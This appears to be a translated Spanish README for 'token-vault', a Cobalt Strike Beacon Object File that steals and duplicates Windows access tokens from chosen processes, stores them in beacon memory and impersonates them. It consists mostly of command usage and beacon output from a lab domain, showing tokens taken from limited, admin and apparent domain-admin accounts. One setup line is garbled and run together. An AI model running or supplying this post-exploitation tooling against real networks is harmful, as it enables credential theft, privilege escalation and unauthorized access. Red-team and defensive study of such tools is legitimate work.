
Bóveda de tokens en memoria BOF para Cobalt Strike
Este Beacon Object File (BOF) crea almacenamiento en memoria para tokens de acceso de Windows robados/duplicados, lo que te permite:
make all.token-vault.cna en tu cliente de Cobalt Strike.beacon> help token-vault
Available Commands:
Create a new token vault: token-vault create
Steal and store tokens: token-vault steal <comma separated list of PIDs> [vault-id]
Use the stored token: token-vault use <token-id> [vault-id]
Show the stored tokens: token-vault show [vault-id]
Remove the stored token: token-vault remove <token-id> [vault-id]
Remove all tokens: token-vault remove-all [vault-id]
Set the default token vault: token-vault set <vault-id>
El comando token-vault create asigna un vault vacío desde el heap del beacon.
El resultado recibido contiene la dirección de memoria del vault (también conocido como vault id),
que se utiliza para especificar el vault para los demás comandos de token-vault.
beacon> token-vault create
[*] Token Vault - create (@henkru)
[+] host called home, sent: 2991 bytes
[+] received output:
token vault created: 0000000000C31610
Además, se puede establecer un vault id específico como vault predeterminado, que se utiliza
si un comando token-vault no incluye el vault id.
beacon> token-vault set 0000000000C31610
Es importante tener en cuenta que los vaults predeterminados configurados residen dentro del cliente de Cobalt Strike y no se comparten entre clientes.
El comando token-vault steal duplica los tokens de los procesos indicados y los almacena
en el vault.
beacon> token-vault steal 6600,2608,5248
[*] Token Vault - steal (@henkru)
[+] host called home, sent: 3009 bytes
[+] received output:
6600: WINLAB\limited
[+] received output:
2608: WINLAB\limited2
[+] received output:
5248: WINLAB\admin
beacon> token-vault show
[*] Token Vault - show (@henkru)
[+] host called home, sent: 2999 bytes
[+] received output:
5248: WINLAB\admin
2608: WINLAB\limited2
6600: WINLAB\limited
El comando token-vault use suplanta a un token del vault. Si el token
no existe, será robado y almacenado en el vault.
beacon> token-vault use 2608
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[+] Impersonated WINLAB\limited
beacon> token-vault use 6384
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[-] token of 6384 not in the vault; try to get it.
[+] received output:
6384: WINLAB\da
[+] Impersonated WINLAB\da
El comando token-vault remove elimina un token almacenado del vault.
beacon> token-vault remove 6600
[*] Token Vault - remove (@henkru)
[+] host called home, sent: 3001 bytes
[+] received output:
removed: 6600
Además, el comando token-vault remove-all elimina todos los tokens de una sola vez.